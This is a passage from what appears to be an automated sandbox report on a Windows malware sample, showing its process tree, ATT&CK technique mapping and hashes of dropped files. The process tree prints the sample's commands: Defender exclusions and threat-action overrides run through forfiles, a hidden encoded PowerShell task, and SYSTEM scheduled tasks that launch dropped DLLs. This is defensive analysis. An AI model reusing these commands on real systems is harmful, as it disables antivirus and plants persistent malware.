                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:32
                                                                                                        4⤵
                                                                                                          PID:324
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:64
                                                                                                          4⤵
                                                                                                            PID:2140
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /CREATE /TN "gmzzipvvX" /SC once /ST 03:21:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                          3⤵
                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                          PID:1748
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /run /I /tn "gmzzipvvX"
                                                                                                          3⤵
                                                                                                            PID:2628
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /DELETE /F /TN "gmzzipvvX"
                                                                                                            3⤵
                                                                                                              PID:2404
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                                              3⤵
                                                                                                                PID:628
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
                                                                                                                  4⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1716
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2952
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
                                                                                                                    4⤵
                                                                                                                      PID:2220
                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                    schtasks /CREATE /TN "cszbzSIAjSjUwyOsr" /SC once /ST 04:42:36 /RU "SYSTEM" /TR "\"C:\Windows\Temp\VLvKqTazivYGshTO\WQsDeeZxhgbfQln\GxkFUlR.exe\" bH /KfTMdidZb 385121 /S" /V1 /F
                                                                                                                    3⤵
                                                                                                                    • Drops file in Windows directory
                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                    PID:2804
                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                    schtasks /run /I /tn "cszbzSIAjSjUwyOsr"
                                                                                                                    3⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:2972
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 956 -s 324
                                                                                                                    3⤵
                                                                                                                    • Loads dropped DLL
                                                                                                                    • Program crash
                                                                                                                    PID:944
                                                                                                                • C:\Windows\Temp\VLvKqTazivYGshTO\WQsDeeZxhgbfQln\GxkFUlR.exe
                                                                                                                  C:\Windows\Temp\VLvKqTazivYGshTO\WQsDeeZxhgbfQln\GxkFUlR.exe bH /KfTMdidZb 385121 /S
                                                                                                                  2⤵
                                                                                                                  • Checks computer location settings
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Drops Chrome extension
                                                                                                                  • Drops file in System32 directory
                                                                                                                  • Drops file in Program Files directory
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:2336
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                    3⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:2756
                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                      4⤵
                                                                                                                      • Indirect Command Execution
                                                                                                                      PID:1676
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                        5⤵
                                                                                                                          PID:2396
                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                            6⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:2680
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                        4⤵
                                                                                                                        • Indirect Command Execution
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2536
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                          5⤵
                                                                                                                            PID:2704
                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                              6⤵
                                                                                                                                PID:2296
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                            4⤵
                                                                                                                            • Indirect Command Execution
                                                                                                                            PID:1200
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                              5⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:2184
                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                6⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:1752
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                            4⤵
                                                                                                                            • Indirect Command Execution
                                                                                                                            PID:2376
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                              5⤵
                                                                                                                                PID:988
                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                  6⤵
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:1448
                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                              4⤵
                                                                                                                              • Indirect Command Execution
                                                                                                                              PID:2080
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                5⤵
                                                                                                                                  PID:1608
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                    6⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:2716
                                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                      7⤵
                                                                                                                                        PID:2548
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "bmbXFarNlpbNUcjZUs"
                                                                                                                                3⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:1732
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                                                                3⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2248
                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                  4⤵
                                                                                                                                  • Indirect Command Execution
                                                                                                                                  PID:2148
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                    5⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:1572
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                      6⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      PID:2156
                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                        7⤵
                                                                                                                                          PID:1028
                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                                                    4⤵
                                                                                                                                    • Indirect Command Execution
                                                                                                                                    PID:2728
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                      5⤵
                                                                                                                                        PID:2168
                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                          6⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          • Drops file in System32 directory
                                                                                                                                          PID:648
                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                            7⤵
                                                                                                                                              PID:2588
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\kVyftiaSU\qulIIp.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "HlGMqKYvccXUYlk" /V1 /F
                                                                                                                                      3⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:2372
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "HlGMqKYvccXUYlk2" /F /xml "C:\Program Files (x86)\kVyftiaSU\LhkKDUU.xml" /RU "SYSTEM"
                                                                                                                                      3⤵
                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                      PID:2036
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /END /TN "HlGMqKYvccXUYlk"
                                                                                                                                      3⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2148
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "HlGMqKYvccXUYlk"
                                                                                                                                      3⤵
                                                                                                                                        PID:2104
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "jcvlsaWlukqsKE" /F /xml "C:\Program Files (x86)\vECSWYHhNEBU2\GwdYgnN.xml" /RU "SYSTEM"
                                                                                                                                        3⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:2628
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "DNmCZKMScDllc2" /F /xml "C:\ProgramData\NUEAEvpmbtRdsZVB\eDiXmoe.xml" /RU "SYSTEM"
                                                                                                                                        3⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:2120
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "SebvePPLQQlbTkynf2" /F /xml "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR\srJFOvH.xml" /RU "SYSTEM"
                                                                                                                                        3⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:2168
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "BvByqijJTTwWPkViWve2" /F /xml "C:\Program Files (x86)\EKfHLQOzikZzC\evhoLVp.xml" /RU "SYSTEM"
                                                                                                                                        3⤵
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:1632
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "hjqxuCHRKqyyPIyfi" /SC once /ST 01:17:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\VLvKqTazivYGshTO\WrHeoqzH\nlSjxrZ.dll\",#1 /UXnididtmOt 385121" /V1 /F
                                                                                                                                        3⤵
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                        PID:1644
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /run /I /tn "hjqxuCHRKqyyPIyfi"
                                                                                                                                        3⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:1788
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "cszbzSIAjSjUwyOsr"
                                                                                                                                        3⤵
                                                                                                                                          PID:2680
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2336 -s 1552
                                                                                                                                          3⤵
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Program crash
                                                                                                                                          PID:2296
                                                                                                                                      • C:\Windows\system32\rundll32.EXE
                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\VLvKqTazivYGshTO\WrHeoqzH\nlSjxrZ.dll",#1 /UXnididtmOt 385121
                                                                                                                                        2⤵
                                                                                                                                          PID:2464
                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\VLvKqTazivYGshTO\WrHeoqzH\nlSjxrZ.dll",#1 /UXnididtmOt 385121
                                                                                                                                            3⤵
                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            • Enumerates system info in registry
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            PID:2220
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /DELETE /F /TN "hjqxuCHRKqyyPIyfi"
                                                                                                                                              4⤵
                                                                                                                                                PID:988
                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                          1⤵
                                                                                                                                            PID:2792
                                                                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                                                                            gpscript.exe /RefreshSystemParam
                                                                                                                                            1⤵
                                                                                                                                              PID:1516
                                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                                              1⤵
                                                                                                                                                PID:1788

                                                                                                                                              Network

                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                              Reconnaissance

                                                                                                                                              Resource Development

                                                                                                                                              Initial Access

                                                                                                                                              Execution

                                                                                                                                              Command and Scripting Interpreter

                                                                                                                                              1
                                                                                                                                              T1059

                                                                                                                                              PowerShell

                                                                                                                                              1
                                                                                                                                              T1059.001

                                                                                                                                              Scheduled Task/Job

                                                                                                                                              1
                                                                                                                                              T1053

                                                                                                                                              Scheduled Task

                                                                                                                                              1
                                                                                                                                              T1053.005

                                                                                                                                              System Services

                                                                                                                                              2
                                                                                                                                              T1569

                                                                                                                                              Service Execution

                                                                                                                                              2
                                                                                                                                              T1569.002

                                                                                                                                              Persistence

                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                              1
                                                                                                                                              T1547

                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                              1
                                                                                                                                              T1547.001

                                                                                                                                              Create or Modify System Process

                                                                                                                                              3
                                                                                                                                              T1543

                                                                                                                                              Windows Service

                                                                                                                                              3
                                                                                                                                              T1543.003

                                                                                                                                              Power Settings

                                                                                                                                              1
                                                                                                                                              T1653

                                                                                                                                              Scheduled Task/Job

                                                                                                                                              1
                                                                                                                                              T1053

                                                                                                                                              Scheduled Task

                                                                                                                                              1
                                                                                                                                              T1053.005

                                                                                                                                              Privilege Escalation

                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                              1
                                                                                                                                              T1547

                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                              1
                                                                                                                                              T1547.001

                                                                                                                                              Create or Modify System Process

                                                                                                                                              3
                                                                                                                                              T1543

                                                                                                                                              Windows Service

                                                                                                                                              3
                                                                                                                                              T1543.003

                                                                                                                                              Scheduled Task/Job

                                                                                                                                              1
                                                                                                                                              T1053

                                                                                                                                              Scheduled Task

                                                                                                                                              1
                                                                                                                                              T1053.005

                                                                                                                                              Defense Evasion

                                                                                                                                              Impair Defenses

                                                                                                                                              3
                                                                                                                                              T1562

                                                                                                                                              Disable or Modify Tools

                                                                                                                                              2
                                                                                                                                              T1562.001

                                                                                                                                              Indirect Command Execution

                                                                                                                                              1
                                                                                                                                              T1202

                                                                                                                                              Modify Registry

                                                                                                                                              4
                                                                                                                                              T1112

                                                                                                                                              Subvert Trust Controls

                                                                                                                                              1
                                                                                                                                              T1553

                                                                                                                                              Install Root Certificate

                                                                                                                                              1
                                                                                                                                              T1553.004

                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                              2
                                                                                                                                              T1497

                                                                                                                                              Credential Access

                                                                                                                                              Credentials from Password Stores

                                                                                                                                              1
                                                                                                                                              T1555

                                                                                                                                              Credentials from Web Browsers

                                                                                                                                              1
                                                                                                                                              T1555.003

                                                                                                                                              Unsecured Credentials

                                                                                                                                              4
                                                                                                                                              T1552

                                                                                                                                              Credentials In Files

                                                                                                                                              4
                                                                                                                                              T1552.001

                                                                                                                                              Discovery

                                                                                                                                              Process Discovery

                                                                                                                                              1
                                                                                                                                              T1057

                                                                                                                                              Query Registry

                                                                                                                                              7
                                                                                                                                              T1012

                                                                                                                                              System Information Discovery

                                                                                                                                              5
                                                                                                                                              T1082

                                                                                                                                              System Location Discovery

                                                                                                                                              1
                                                                                                                                              T1614

                                                                                                                                              System Language Discovery

                                                                                                                                              1
                                                                                                                                              T1614.001

                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                              2
                                                                                                                                              T1497

                                                                                                                                              Lateral Movement

                                                                                                                                              Collection

                                                                                                                                              Data from Local System

                                                                                                                                              3
                                                                                                                                              T1005

                                                                                                                                              Command and Control

                                                                                                                                              Web Service

                                                                                                                                              1
                                                                                                                                              T1102

                                                                                                                                              Exfiltration

                                                                                                                                              Impact

                                                                                                                                              Service Stop

                                                                                                                                              1
                                                                                                                                              T1489

                                                                                                                                              Replay Monitor

                                                                                                                                              Loading Replay Monitor...

                                                                                                                                              Downloads

                                                                                                                                              • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                Filesize

                                                                                                                                                2.1MB

                                                                                                                                                MD5

                                                                                                                                                1d22231b7a2902126f01741c6c1ce99f

                                                                                                                                                SHA1

                                                                                                                                                b1ebec8d756c9e298ba912b3b277b3addaa1b378

                                                                                                                                                SHA256

                                                                                                                                                e25cb7f3a9f82ce71e788afe5ddcef590b540467be2ebbdec7edb747860c05b3

                                                                                                                                                SHA512

                                                                                                                                                ace6e17e84a1c24a401155fc9f7c4dab5ec0c504029ef2e4bd671fc033c6f61dfa0b1a5e531e9c75cc123365e0605826d84f33f6ac9fe1c0fdfc285bea2e8c77

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
                                                                                                                                                Filesize

                                                                                                                                                1KB

                                                                                                                                                MD5

                                                                                                                                                a266bb7dcc38a562631361bbf61dd11b

                                                                                                                                                SHA1

                                                                                                                                                3b1efd3a66ea28b16697394703a72ca340a05bd5

                                                                                                                                                SHA256

                                                                                                                                                df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

                                                                                                                                                SHA512

                                                                                                                                                0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                                                                                                                Filesize

                                                                                                                                                342B

                                                                                                                                                MD5

                                                                                                                                                636523e98876aca10db7522a6a77f67a

                                                                                                                                                SHA1

                                                                                                                                                b529d5c46d5725321467cc89161e40b8233d9aa7

                                                                                                                                                SHA256

                                                                                                                                                9b7981eaff4c7cea5436957c62d172d7d89c808ff5fb8ddfa68bec477dbecc0c

                                                                                                                                                SHA512

                                                                                                                                                3f1b5795e03e7746f41b00a0008637fca462cdbf70e0d32cfa7fb34d4cf5be508fc0944b5f67a65f83050bb54d3f6f22a822e6f0cc749e6432b91c1ccfbf7449

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
                                                                                                                                                Filesize

                                                                                                                                                242B

                                                                                                                                                MD5

                                                                                                                                                33a32b40ab1e81b78ac2c32c225144e1

                                                                                                                                                SHA1

                                                                                                                                                93e07e962f41e263383226a9f002bf16af09ebb4

                                                                                                                                                SHA256

                                                                                                                                                e91de0257e1433a3faf54c2192bd0ccd0c9a78d083ef86dbf27f4f01dd0707e8

                                                                                                                                                SHA512

                                                                                                                                                28d6a077c1a467e6a6e2d26ebfb3cfdc701c6826995f46d565d086421d4b6457125ab980611b77abfc7bbf7d6be59176e67d4edaff9d8ac81eab82a05d320779

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                Filesize

                                                                                                                                                187B

                                                                                                                                                MD5

                                                                                                                                                2a1e12a4811892d95962998e184399d8

                                                                                                                                                SHA1

                                                                                                                                                55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                SHA256

                                                                                                                                                32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                SHA512

                                                                                                                                                bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                Filesize

                                                                                                                                                136B

                                                                                                                                                MD5

                                                                                                                                                238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                SHA1

                                                                                                                                                0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                SHA256

                                                                                                                                                801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                SHA512

                                                                                                                                                2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                Filesize

                                                                                                                                                150B

                                                                                                                                                MD5

                                                                                                                                                0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                SHA1

                                                                                                                                                6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                SHA256

                                                                                                                                                0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                SHA512

                                                                                                                                                5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                Filesize

                                                                                                                                                10KB

                                                                                                                                                MD5

                                                                                                                                                77479048f9fab21565145a0422b84c21

                                                                                                                                                SHA1

                                                                                                                                                45b3de7bf490ecea5d91c1a2a7263f7a41df8f4d

                                                                                                                                                SHA256

